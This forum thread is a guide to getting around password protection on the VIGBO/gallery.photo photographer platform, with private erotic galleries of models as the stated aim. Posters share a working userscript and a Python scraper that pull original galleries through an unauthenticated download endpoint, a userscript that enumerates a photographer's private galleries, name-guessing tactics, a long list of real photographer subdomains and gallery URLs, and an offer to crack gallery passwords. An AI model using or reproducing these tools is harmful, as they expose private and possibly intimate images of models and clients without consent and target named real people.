Guide Download Private Password-Protected Erotic Photographers' Galleries from VIGBO

miloessay2

Lurker
Joined
Jan 16, 2026
Posts
13
Reaction score
0
VIGBO is a platform popular among photographers from Russia and CIS countries for sharing raw and retouched photos with models and clients. Galleries are password-protected, but you can access and download them without a password by guessing URLs and using a userscript.
Example Galleries (Found by Brute-Forcing Russian Female Names)
On photographer nataliarandle.gallery.photo, these links work:
How VIGBO Galleries Work
Galleries follow the URL pattern: https://[photographer].gallery.photo/gallery/[model-name]/
  • Model names are often simple Russian female names (Veronika, Natasa, Polina, Anna, Maria, Olga, Daria, Ekaterina, Anastasia, etc.).
  • Brute-force method: Manually or script through name variations at the end of the URL.
  • Existing galleries load (even private ones); the script enables password-free download.
Requirements for Downloading
  • Browser: Mozilla Firefox or Chrome-based (Chrome, Edge, etc.).
  • Extension: Violentmonkey (from your browser's extension store).
  • Script: Paste this into Violentmonkey:
    Code:
    // ==UserScript==
    // @name VIGBO Gallery Download
    // @namespace http://tampermonkey.net/
    // @version 1.2
    // @description Adds a download button for the original VIGBO gallery
    // @author You
    // @match *://*/*
    // @grant none
    // @run-at document-idle
    // ==/UserScript==
    
    (function() {
    'use strict';
    
    // 1. Check: Is this a VIGBO gallery site?
    // We look for the specific __NEXT_DATA__ object used by VIGBO
    if (!window.__NEXT_DATA__ || !window.__NEXT_DATA__.props || !window.__NEXT_DATA__.props.pageProps || !window.__NEXT_DATA__.props.pageProps.gallery) {
    return; // If not a gallery, the script does nothing
    }
    
    // 2. Create styles for the button
    const style = document.createElement('style');
    style.innerHTML = `
    #vigbo-dl-btn {
    position: fixed;
    bottom: 20px;
    left: 20px;
    z-index: 99999;
    background-color: #2ecc71;
    color: white;
    padding: 12px 24px;
    border-radius: 50px;
    font-family: sans-serif;
    font-weight: bold;
    font-size: 14px;
    cursor: pointer;
    box-shadow: 0 4px 15px rgba(0,0,0,0.2);
    transition: all 0.3s ease;
    display: flex;
    align-items: center;
    gap: 8px;
    border: none;
    }
    #vigbo-dl-btn:hover {
    background-color: #27ae60;
    transform: translateY(-2px);
    box-shadow: 0 6px 20px rgba(0,0,0,0.3);
    }
    #vigbo-dl-btn:active {
    transform: translateY(0);
    }
    #vigbo-dl-btn.loading {
    background-color: #f39c12;
    cursor: wait;
    }
    #vigbo-dl-btn.error {
    background-color: #e74c3c;
    }
    `;
    document.head.appendChild(style);
    
    // 3. Create the button
    const btn = document.createElement('button');
    btn.id = 'vigbo-dl-btn';
    btn.innerHTML = '📥 Download Original';
    document.body.appendChild(btn);
    
    // 4. Download logic
    btn.addEventListener('click', async () => {
    if (btn.classList.contains('loading')) return;
    
    // Visual loading indication
    const originalText = btn.innerHTML;
    btn.innerHTML = '⏳ Fetching link...';
    btn.classList.add('loading');
    
    try {
    // Extract ID
    const pageProps = window.__NEXT_DATA__.props.pageProps;
    const gallery = pageProps.gallery || {};
    const id = gallery.id;
    const isPasswordProtected = pageProps.isPasswordProtected;
    
    if (!id) {
    throw new Error('Gallery ID not found. The site structure may have changed.');
    }
    
    if (isPasswordProtected) {
    console.warn('⚠️ Gallery is password protected. The link may not work if you are not authorized.');
    }
    
    // Construct API URL
    const { origin } = window.location;
    const originalUrl = `${origin}/api/v1/download-gallery/${id}/original/`;
    
    console.log(`📡 Requesting: ${originalUrl}`);
    
    // Fetch request
    const response = await fetch(originalUrl);
    
    if (!response.ok) {
    throw new Error(`Server Error: ${response.status}`);
    }
    
    const jsonData = await response.json();
    
    // Extract URL from response
    let downloadUrl = null;
    if (jsonData.data && jsonData.data.url) {
    downloadUrl = jsonData.data.url;
    } else if (jsonData.url) {
    downloadUrl = jsonData.url;
    }
    
    if (!downloadUrl) {
    console.error('JSON response:', jsonData);
    throw new Error('Download URL not found in API response.');
    }
    
    // Success
    btn.innerHTML = '✅ Link Opened!';
    setTimeout(() => {
    btn.innerHTML = originalText;
    btn.classList.remove('loading');
    }, 3000);
    
    // Open download link
    window.open(downloadUrl, '_blank');
    
    } catch (err) {
    console.error(err);
    btn.innerHTML = '❌ Error';
    btn.classList.add('error');
    alert(`Download Error:\n${err.message}`);
    
    setTimeout(() => {
    btn.innerHTML = originalText;
    btn.classList.remove('loading', 'error');
    }, 3000);
    }
    });
    
    })();
Setup and Download Steps
  1. Install the browser and Violentmonkey extension.
  2. Create a new script in Violentmonkey and paste the code.
  3. Find a gallery URL (like the examples above).
  4. Open the gallery—a download button appears on the left.
  5. Click it—the entire gallery downloads automatically.
Share Your Finds!
There are thousands of photographers and tons of content. Share working photographer domains and model names in the comments:
  • Format: [photographer].gallery.photo + model names found
  • Example: nataliarandle.gallery.photo (veronika, natasa, polina)
 
This looked interesting, but after dozens of galleries all I was doing was seeing people's wedding photos, pregnancy glamour shots and red carpet events. Peeping tom on people's private lives isn't my thing.
I scraped a list of subdomains from Google, have at it.
Code:
{
"domains": [
"a3agency.gallery.photo",
"aleshkovskiy.gallery.photo",
"alexandrpurcel.gallery.photo",
"alexkhlopkov.gallery.photo",
"alishagold.gallery.photo",
"aloyauvar.gallery.photo",
"alsusha.gallery.photo",
"alyabalaeva.gallery.photo",
"aminashabanova.gallery.photo",
"amplituda.gallery.photo",
"anavatskaya.gallery.photo",
"andrkemr.gallery.photo",
"ankrivosheina.gallery.photo",
"annapotemkina.gallery.photo",
"ansvetr.gallery.photo",
"antonkondratev.gallery.photo",
"aquamenu.gallery.photo",
"arsentedeev.gallery.photo",
"atamanovayuliya.gallery.photo",
"avgustovskaya.gallery.photo",
"avramfoto.gallery.photo",
"bibikivan.gallery.photo",
"bm.gallery.photo",
"cheremisin.gallery.photo",
"denisred.gallery.photo",
"dermanschi.gallery.photo",
"dffclub.gallery.photo",
"dianaatmos.gallery.photo",
"dmitrievdmitry.gallery.photo",
"dturischeva.gallery.photo",
"elena.gallery.photo",
"followmyphoto.gallery.photo",
"fotodarsi.gallery.photo",
"fotograflandsberg.gallery.photo",
"fotominolta.gallery.photo",
"futuramia64.gallery.photo",
"grafsergey.gallery.photo",
"groh.gallery.photo",
"hannachap.gallery.photo",
"hedonistbag.gallery.photo",
"hryha.gallery.photo",
"icontusa.gallery.photo",
"igeneralove.gallery.photo",
"inaya.gallery.photo",
"innamuliar.gallery.photo",
"ionbuga.gallery.photo",
"irinaleytan.gallery.photo",
"julianeganova.gallery.photo",
"juliasysoeva.gallery.photo",
"juliazalesskaia.gallery.photo",
"karinaignachkova.gallery.photo",
"katyakatarsis.gallery.photo",
"klochkovaphoto.gallery.photo",
"korolnphoto.gallery.photo",
"kovalevichmax.gallery.photo",
"krishtapovich.gallery.photo",
"kseniaradl.gallery.photo",
"kseniashaf.gallery.photo",
"lamalino.gallery.photo",
"lampsoul.gallery.photo",
"lenamint.gallery.photo",
"lenarkarim.gallery.photo",
"leoskryabin.gallery.photo",
"leteam.gallery.photo",
"levushkinaladaph.gallery.photo",
"lilykozubal.gallery.photo",
"lsvetta.gallery.photo",
"maggymelzer.gallery.photo",
"makovey.gallery.photo",
"malysheva.gallery.photo",
"mariadontu.gallery.photo",
"nadi.gallery.photo",
"naja.gallery.photo",
"nastayshingireyy.gallery.photo",
"natalimacaro.gallery.photo",
"natawise.gallery.photo",
"newstarfestivals.gallery.photo",
"nikolaykhludkov.gallery.photo",
"odeonshow.gallery.photo",
"oleg.gallery.photo",
"oliahlavnyk.gallery.photo",
"orkhanguseynov.gallery.photo",
"palinaleib.gallery.photo",
"paralleli.gallery.photo",
"photokarev.gallery.photo",
"photomos.gallery.photo",
"piskalovaolga.gallery.photo",
"portfolio.gallery.photo",
"portov.gallery.photo",
"prusakov.gallery.photo",
"pumpjamfest.gallery.photo",
"radiantishe.gallery.photo",
"rasskazova.gallery.photo",
"ryzhov.gallery.photo",
"ryzhovaphoto.gallery.photo",
"sashakarina.gallery.photo",
"savelyev.gallery.photo",
"savelyeva.gallery.photo",
"sergeybosh.gallery.photo",
"serkophoto.gallery.photo",
"shahunova.gallery.photo",
"sheyanova.gallery.photo",
"smoshkov.gallery.photo",
"snovamasha.gallery.photo",
"tarasovskaya.gallery.photo",
"tekaphoto.gallery.photo",
"theguendels.gallery.photo",
"travinphoto.gallery.photo",
"ullmatta.gallery.photo",
"valjashest.gallery.photo",
"valleryfoto.gallery.photo",
"varvarabychkova.gallery.photo",
"vasileva.gallery.photo",
"vb.gallery.photo",
"verstukova.gallery.photo",
"vigbocalendar.gallery.photo",
"whenyoushine.gallery.photo",
"whitetailpictures.gallery.photo",
"www.gallery.photo",
"www.tanyamatskevich.gallery.photo",
"yqylasfilms.gallery.photo"
],
"urls": [
"http://andrkemr.gallery.photo/",
"http://igeneralove.gallery.photo/",
"http://nastayshingireyy.gallery.photo/",
"http://photomos.gallery.photo/gallery/weddings",
"http://ryzhov.gallery.photo/",
"http://savelyev.gallery.photo/",
"https://a3agency.gallery.photo/gallery/fin-award24/",
"https://aleshkovskiy.gallery.photo/gallery/wiez/",
"https://alexandrpurcel.gallery.photo/gallery/fatoumata-cheick",
"https://alexkhlopkov.gallery.photo/gallery/ivlev/",
"https://alishagold.gallery.photo/",
"https://aloyauvar.gallery.photo/",
"https://alsusha.gallery.photo/gallery/media/",
"https://alyabalaeva.gallery.photo/",
"https://aminashabanova.gallery.photo/",
"https://amplituda.gallery.photo/gallery/warsawrent",
"https://anavatskaya.gallery.photo/",
"https://ankrivosheina.gallery.photo/gallery/irina",
"https://ankrivosheina.gallery.photo/gallery/stas",
"https://ankrivosheina.gallery.photo/gallery/tana",
"https://annapotemkina.gallery.photo/gallery/kata/",
"https://ansvetr.gallery.photo/",
"https://antonkondratev.gallery.photo/gallery/kyndykan/",
"https://aquamenu.gallery.photo/gallery/premialnye-zamorozennye-korma-aquamenu-pro",
"https://aquamenu.gallery.photo/gallery/suhie-korma-aquamenu-dla-prudovyh-ryb",
"https://aquamenu.gallery.photo/gallery/universalnye-premium-korma-aquamenu-pro-gsk",
"https://arsentedeev.gallery.photo/gallery/savva/",
"https://atamanovayuliya.gallery.photo/gallery/nasta",
"https://avgustovskaya.gallery.photo/",
"https://avramfoto.gallery.photo/gallery/adzikinezal1/",
"https://bibikivan.gallery.photo/",
"https://bm.gallery.photo/",
"https://cheremisin.gallery.photo/gallery/rmi3/",
"https://denisred.gallery.photo/gallery/reels",
"https://dermanschi.gallery.photo/gallery/condurache-christmas/",
"https://dffclub.gallery.photo/gallery/10-10/",
"https://dianaatmos.gallery.photo/",
"https://dmitrievdmitry.gallery.photo/",
"https://dturischeva.gallery.photo/gallery/moskabel",
"https://elena.gallery.photo/gallery/eusflat2025/",
"https://followmyphoto.gallery.photo/gallery/roman1",
"https://fotodarsi.gallery.photo/",
"https://fotograflandsberg.gallery.photo/",
"https://fotominolta.gallery.photo/gallery/malefisenta",
"https://fotominolta.gallery.photo/gallery/sarmite1",
"https://futuramia64.gallery.photo/",
"https://grafsergey.gallery.photo/gallery/zk/",
"https://groh.gallery.photo/gallery/degustacia-citrusovyh/",
"https://hannachap.gallery.photo/gallery/vintageday-2024/",
"https://hedonistbag.gallery.photo/gallery/lookbook",
"https://hryha.gallery.photo/gallery/konferencia/",
"https://icontusa.gallery.photo/",
"https://inaya.gallery.photo/gallery/pregnancy",
"https://innamuliar.gallery.photo/",
"https://ionbuga.gallery.photo/gallery/forum-dezvoltarea-urbana-comrat/",
"https://irinaleytan.gallery.photo/gallery/bernadette1",
"https://julianeganova.gallery.photo/gallery/alisa1",
"https://julianeganova.gallery.photo/gallery/charlie",
"https://julianeganova.gallery.photo/gallery/ruissalo",
"https://juliasysoeva.gallery.photo/",
"https://juliazalesskaia.gallery.photo/gallery/vaporetto/",
"https://karinaignachkova.gallery.photo/gallery/anna2",
"https://karinaignachkova.gallery.photo/gallery/margarita",
"https://karinaignachkova.gallery.photo/gallery/viktoria3",
"https://katyakatarsis.gallery.photo/gallery/vremya_zemli/",
"https://klochkovaphoto.gallery.photo/",
"https://korolnphoto.gallery.photo/",
"https://kovalevichmax.gallery.photo/gallery/vse3/",
"https://krishtapovich.gallery.photo/",
"https://kseniaradl.gallery.photo/gallery/samantha",
"https://kseniashaf.gallery.photo/",
"https://lamalino.gallery.photo/",
"https://lampsoul.gallery.photo/gallery/loc/",
"https://lenamint.gallery.photo/",
"https://lenarkarim.gallery.photo/gallery/diana",
"https://lenarkarim.gallery.photo/gallery/umida",
"https://leoskryabin.gallery.photo/gallery/eventmania/",
"https://leoskryabin.gallery.photo/gallery/eventmania1/",
"https://leteam.gallery.photo/gallery/venture-games/",
"https://levushkinaladaph.gallery.photo/gallery/conference/",
"https://lilykozubal.gallery.photo/gallery/miami",
"https://lsvetta.gallery.photo/",
"https://maggymelzer.gallery.photo/gallery/manadental",
"https://maggymelzer.gallery.photo/gallery/stedi",
"https://makovey.gallery.photo/",
"https://malysheva.gallery.photo/gallery/wg-gaste/",
"https://mariadontu.gallery.photo/gallery/mbr-ss251/",
"https://nadi.gallery.photo/",
"https://naja.gallery.photo/gallery/bebetter/",
"https://natalimacaro.gallery.photo/gallery/portfolio/",
"https://natawise.gallery.photo/gallery/event2/",
"https://newstarfestivals.gallery.photo/gallery/newstarfilmfestival/",
"https://nikolaykhludkov.gallery.photo/gallery/reportaz/",
"https://nikolaykhludkov.gallery.photo/gallery/vsm/",
"https://odeonshow.gallery.photo/gallery/11-noabra/",
"https://odeonshow.gallery.photo/gallery/29-october/",
"https://odeonshow.gallery.photo/gallery/6-november/",
"https://oleg.gallery.photo/",
"https://oliahlavnyk.gallery.photo/gallery/wta/",
"https://orkhanguseynov.gallery.photo/",
"https://palinaleib.gallery.photo/",
"https://paralleli.gallery.photo/",
"https://photokarev.gallery.photo/gallery/futbol2/",
"https://piskalovaolga.gallery.photo/gallery/linkmeetup/",
"https://portfolio.gallery.photo/gallery/vidkritta-proforientacijnogo-habu/",
"https://portov.gallery.photo/gallery/sw/",
"https://prusakov.gallery.photo/gallery/portfolio/",
"https://pumpjamfest.gallery.photo/",
"https://radiantishe.gallery.photo/gallery/moscow_orienteering/",
"https://rasskazova.gallery.photo/gallery/diana/",
"https://ryzhovaphoto.gallery.photo/gallery/revyline/",
"https://sashakarina.gallery.photo/gallery/rb-2024/",
"https://savelyeva.gallery.photo/",
"https://sergeybosh.gallery.photo/gallery/sevak",
"https://serkophoto.gallery.photo/gallery/amelia1/",
"https://serkophoto.gallery.photo/gallery/andreea/",
"https://serkophoto.gallery.photo/gallery/botezul-oteei/",
"https://serkophoto.gallery.photo/gallery/cumetria-andreei/",
"https://serkophoto.gallery.photo/gallery/david/",
"https://serkophoto.gallery.photo/gallery/dumitrita/",
"https://serkophoto.gallery.photo/gallery/gheorghe/",
"https://serkophoto.gallery.photo/gallery/ion-anastasia/",
"https://serkophoto.gallery.photo/gallery/laurentiu/",
"https://serkophoto.gallery.photo/gallery/sergiu-victoria/",
"https://shahunova.gallery.photo/gallery/tatana1",
"https://sheyanova.gallery.photo/",
"https://smoshkov.gallery.photo/gallery/russialoppet/",
"https://snovamasha.gallery.photo/gallery/ArmoryTrack.02152025",
"https://tarasovskaya.gallery.photo/gallery/family",
"https://tarasovskaya.gallery.photo/gallery/helen-hamilton",
"https://tekaphoto.gallery.photo/",
"https://theguendels.gallery.photo/gallery/sentein1/",
"https://travinphoto.gallery.photo/gallery/vypiska-vasilisy",
"https://ullmatta.gallery.photo/",
"https://valjashest.gallery.photo/gallery/madagascar/",
"https://valleryfoto.gallery.photo/gallery/aleksandr",
"https://valleryfoto.gallery.photo/gallery/bern",
"https://valleryfoto.gallery.photo/gallery/marokko",
"https://varvarabychkova.gallery.photo/gallery/turpla2025/",
"https://vasileva.gallery.photo/gallery/unite-1",
"https://vb.gallery.photo/gallery/x5-sfera-den-rabotnika-torgovli/",
"https://verstukova.gallery.photo/gallery/alina-averkieva",
"https://verstukova.gallery.photo/gallery/irina4",
"https://verstukova.gallery.photo/gallery/irina5",
"https://verstukova.gallery.photo/gallery/liudmila",
"https://vigbocalendar.gallery.photo/gallery/calendars-from-vigbo-january-february-26/",
"https://whenyoushine.gallery.photo/",
"https://whitetailpictures.gallery.photo/",
"https://www.gallery.photo/",
"https://www.tanyamatskevich.gallery.photo/",
"https://yqylasfilms.gallery.photo/gallery/efw/"
]
}
 
Do you have more links by any chance? And what did you use to scrap them? Script? Can you share?
 
This scrapes google.com search results to find galleries. Register an account at serpapi.com and get an API key. It automatically downloads galleries it finds.
Code:
#!/usr/bin/env -S uv run --script
#
# /// script
# requires-python = ">=3.12"
# dependencies = ["google-search-results", "justhtml", "requests", "devtools"]
# ///
import json
import os
import re
from pathlib import Path
from urllib.parse import urlparse

import requests
from devtools import sformat, sprint
from justhtml import JustHTML, SanitizationPolicy, UrlPolicy
from serpapi import GoogleSearch

SERPAPI_TOKEN = os.environ.get("SERPAPI_TOKEN")

class Vigbo:
def __init__(self, api_key):
self.api_key = api_key
self.common_config = {
"api_key": api_key,
"engine": "google",
"google_domain": "google.com",
"filter": "0",
}
self.policy = SanitizationPolicy(
allowed_tags=["html", "head", "body", "script", "meta"],
allowed_attributes={"*": []},
url_policy=UrlPolicy(allow_rules={}),
unsafe_handling="collect",
)
# Create a session for connection reuse
self.session = requests.Session()
self.session.headers.update(self._get_request_headers())

def _get_request_headers(self):
return {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Safari/605.1.15",
"Accept-Language": "en-GB,en;q=0.9",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}

def search_subdomains(self, domain="gallery.photo"):
config = self.common_config.copy()
config["q"] = "site:*." + domain
search = GoogleSearch(config)
results: set[str] = set()

pages = search.pagination()
for page in pages:
for result in page.get("organic_results", []):
if link := result.get("link"):
results.add(link)
return domain, list(results)

def download_gallery(self, domain: str, id: str):
download_dir = Path("downloads")
download_dir.mkdir(exist_ok=True)

try:
resp = self.session.get(
f"https://{domain}/api/v1/download-gallery/{id}/original/",
timeout=30,
)
resp.raise_for_status()
except requests.RequestException as e:
sprint(
f"Failed to get download URL: {e}",
sprint.bg_red,
sprint.bold,
sprint.white,
)
return

data = resp.json()
if download_url := data.get("data", {}).get("url"):
domain_clean = re.sub(r"[-_\.]", "-", domain)
bin_path = download_dir / f"{domain_clean}-{id}.zip"
if bin_path.exists():
return download_url

try:
# Use stream=True to avoid loading entire file into memory
with self.session.get(
download_url, timeout=60, stream=True
) as bin_resp:
bin_resp.raise_for_status()
# Stream to disk in chunks to prevent memory exhaustion
with bin_path.open("wb") as fp:
for chunk in bin_resp.iter_content(chunk_size=8192):
if chunk:
fp.write(chunk)
return download_url
except requests.RequestException as e:
sprint(
f"Failed to download {download_url}: {e}",
sprint.bg_red,
sprint.bold,
sprint.white,
)
# Clean up partial download
if bin_path.exists():
bin_path.unlink()
return
return

def get_gallery_page(self, url: str):
try:
resp = self.session.get(url, timeout=30)
resp.raise_for_status()
except requests.RequestException as e:
sprint(
f"Failed to get gallery page: {e}",
sprint.bg_red,
sprint.bold,
sprint.white,
)
return

source = resp.content
doc = JustHTML(source, policy=self.policy, safe=False)
if next_data_html := doc.query("body > script#__NEXT_DATA__"):
next_data = json.loads(next_data_html[0].to_text())
return (
next_data.get("props", {})
.get("pageProps", {})
.get("gallery", {})
)

def close(self):
"""Close the session to release resources."""
if self.session:
self.session.close()

if __name__ == "__main__":
vigbo = Vigbo(SERPAPI_TOKEN)

try:
domain, results = vigbo.search_subdomains()

urls = list(sorted(set(results)))
domains = list(
sorted(
set(
map(
lambda s: re.sub(r"https?://([^\/]+).*", r"\1", s), urls
)
)
)
)
output = dict(domains=domains, urls=urls)
with Path(f"vigbo_{domain}.json").open("w", encoding="utf-8") as fp:
json.dump(output, fp, ensure_ascii=False, indent=2)

for url in urls:
sprint("🌎 " + url, sprint.bold, sprint.magenta, sprint.underline)
if "/gallery/" not in url:
continue
if gallery := vigbo.get_gallery_page(url):
title = gallery.get("name")
gallery_id = gallery.get("id")
hostname = urlparse(url).netloc
if "wedding" in title.lower():
continue
print(
f"🔻 {sformat(title, sprint.bold, sprint.bg_yellow)} {gallery_id[-7:]}"
)
vigbo.download_gallery(hostname, gallery.get("id"))
finally:
# Ensure session is closed even if an error occurs
vigbo.close()
 

Gallery.Photo - Export all galleries to TXT
Violentmonkey / Tampermonkey compatible script

Exports all galleries of a photographer on Gallery.photo to a TXT file.
How to use:
  1. Open any public gallery (without password protection) of the photographer
  2. Click the floating button "📥 Download all galleries (TXT)" in the top-right corner
  3. The script will automatically find the photographer's User ID and download all galleries
Features:
  • Automatically locates the photographer's User ID from the current gallery page
  • Fetches the complete list of galleries via the site's API
  • Compiles a detailed report including:
    • Gallery name and status (OPEN/CLOSED)
    • Photo count
    • Publication date
    • Direct links to each gallery
  • Provides a separate section with only open gallery links for quick copying
  • Downloads everything as a TXT file with timestamp
Important: You must be on a public (open) gallery page for the script to extract the User ID. Password-protected galleries won't work for User ID detection.
Code:
// ==UserScript==
// @name Gallery.Photo - Export all galleries to TXT
// @namespace http://tampermonkey.net/
// @version 1.0
// @description Automatically finds the photographer's User ID and saves all galleries to a TXT file
// @author You
// @match https://*.gallery.photo/*
// @grant none
// @run-at document-idle
// ==/UserScript==

(function() {
'use strict';

// Create UI button
function createButton() {
const button = document.createElement('button');
button.innerHTML = '📥 Download all galleries (TXT)';
button.style.cssText = `
position: fixed;
top: 20px;
right: 20px;
z-index: 10000;
padding: 12px 20px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border: none;
border-radius: 8px;
font-size: 14px;
font-weight: bold;
cursor: pointer;
box-shadow: 0 4px 15px rgba(0,0,0,0.2);
transition: all 0.3s ease;
`;

button.onmouseover = () => {
button.style.transform = 'translateY(-2px)';
button.style.boxShadow = '0 6px 20px rgba(0,0,0,0.3)';
};

button.onmouseout = () => {
button.style.transform = 'translateY(0)';
button.style.boxShadow = '0 4px 15px rgba(0,0,0,0.2)';
};

button.onclick = async () => {
button.innerHTML = '⏳ Loading...';
button.disabled = true;
await extractAndDownload();
button.innerHTML = '📥 Download all galleries (TXT)';
button.disabled = false;
};

document.body.appendChild(button);
}

// Main extraction and download function
async function extractAndDownload() {
try {
// Step 1: Find User ID
let userId = findUserId();

if (!userId) {
alert('❌ User ID not found! Open any public gallery of this photographer.');
return;
}

console.log('✅ User ID found:', userId);

// Step 2: Get list of galleries
const domain = window.location.origin;
const apiUrl = `${domain}/api/v1/search/galleries/`;

const response = await fetch(apiUrl, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
user: userId,
query: ''
})
});

if (!response.ok) {
alert(`❌ API error: ${response.status}`);
return;
}

const result = await response.json();

// Handle different response formats
let galleries = [];
if (Array.isArray(result)) {
galleries = result;
} else if (result.galleries && Array.isArray(result.galleries)) {
galleries = result.galleries;
} else if (result.data && Array.isArray(result.data)) {
galleries = result.data;
} else {
alert('❌ Unexpected API response format');
console.log('API Response:', result);
return;
}

if (galleries.length === 0) {
alert('⚠️ No galleries found');
return;
}

console.log(`✅ Galleries found: ${galleries.length}`);

// Step 3: Build text file content
const photographer = getPhotographerName();
let content = `Gallery list: ${photographer}\n`;
content += `Creation date: ${new Date().toLocaleString('en-GB')}\n`;
content += `User ID: ${userId}\n`;
content += `Total galleries: ${galleries.length}\n`;
content += `${'='.repeat(80)}\n\n`;

galleries.forEach((g, index) => {
const name = g.name || g.title || 'Untitled';
const handle = g.url || g.handle || g.slug;
const link = handle ? `${domain}/gallery/${handle}` : 'N/A';
const photoCount = g.photoCount || g.photo_count || 0;
const isPrivate = g.isPrivate || g.isPasswordProtected || g.is_private;
const status = isPrivate ? '[CLOSED]' : '[OPEN]';
const date = g.createdAt || g.created_at || g.publishedAt || g.published_at || 'N/A';

content += `${index + 1}. ${status} ${name}\n`;
content += ` Photos: ${photoCount}\n`;
content += ` Date: ${date}\n`;
content += ` Link: ${link}\n\n`;
});

// Add section with only open galleries
content += `\n${'='.repeat(80)}\n`;
content += `OPEN GALLERIES ONLY (quick copy):\n`;
content += `${'='.repeat(80)}\n\n`;

const openGalleries = galleries.filter(g =>
!(g.isPrivate || g.isPasswordProtected || g.is_private)
);

openGalleries.forEach((g) => {
const handle = g.url || g.handle || g.slug;
if (handle) {
content += `${domain}/gallery/${handle}\n`;
}
});

// Step 4: Download file
const filename = `${photographer}_galleries_${new Date().toISOString().slice(0,10)}.txt`;
downloadFile(content, filename);

alert(`✅ Saved ${galleries.length} galleries!\n📂 File: ${filename}`);

} catch (error) {
console.error('Error:', error);
alert('❌ An error occurred: ' + error.message);
}
}

// Function to find User ID
function findUserId() {
let userId = null;

// Method 1: From JSON data
const scriptTag = document.querySelector('#__NEXT_DATA__');
if (scriptTag) {
try {
const data = JSON.parse(scriptTag.textContent);
const mediaFiles = data.props?.pageProps?.gallery?.mediaFiles;

if (mediaFiles && mediaFiles.length > 0) {
const fileKey = mediaFiles[0].fileKey;
const match = fileKey.match(/gallery-photo\/([a-f0-9-]{36})/);
if (match) {
userId = match[1];
}
}
} catch (e) {
console.log('Failed to extract from JSON');
}
}

// Method 2: From HTML source
if (!userId) {
const pageSource = document.documentElement.innerHTML;
const matches = pageSource.match(/gallery-photo\/([a-f0-9-]{36})/);
if (matches) {
userId = matches[1];
}
}

return userId;
}

// Get photographer name
function getPhotographerName() {
// Try to extract from title or domain
const titleMatch = document.title.match(/^(.+?)\s*[-–|]/);
if (titleMatch) return titleMatch[1].trim();

// Or from subdomain
const subdomain = window.location.hostname.split('.')[0];
return subdomain.charAt(0).toUpperCase() + subdomain.slice(1);
}

// File download function
function downloadFile(content, filename) {
const blob = new Blob([content], { type: 'text/plain;charset=utf-8' });
const url = URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = url;
link.download = filename;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
URL.revokeObjectURL(url);
}

// Initialize with slight delay for page load
setTimeout(() => {
createButton();
console.log('✅ Gallery export script loaded');
}, 1000);

})();
 
Guys, is it possible to find new endpoint just by brute force search? are there any other options?
 
if u put the website for the photographer then /disk/ then the photoshoots name u maybe find something but to be honest i didn't find anything
try u luck
 
i will tell u what i know
there's two ways for wfolio
one is u take the same photographer website name then u add /disk/[photoshoot name ]
for example
alyonapani.com/disk/[the photoshoot name ]
two u take the photographer name then u add wfolio.pro/disk/[photoshoot name ]
example : https://domino.wfolio.pro/disk/milady-thqpnw
that's all what i know
 
Of course it is, you post any of this stuff publicly and the photographers / site owners will close things off.
Exploits should only be shared privately, it sucks but its the only way to maintain them.
 
If you have any password-protected galleries, you can send them here, and I'll open them and give you the passwords.
 
Back
Top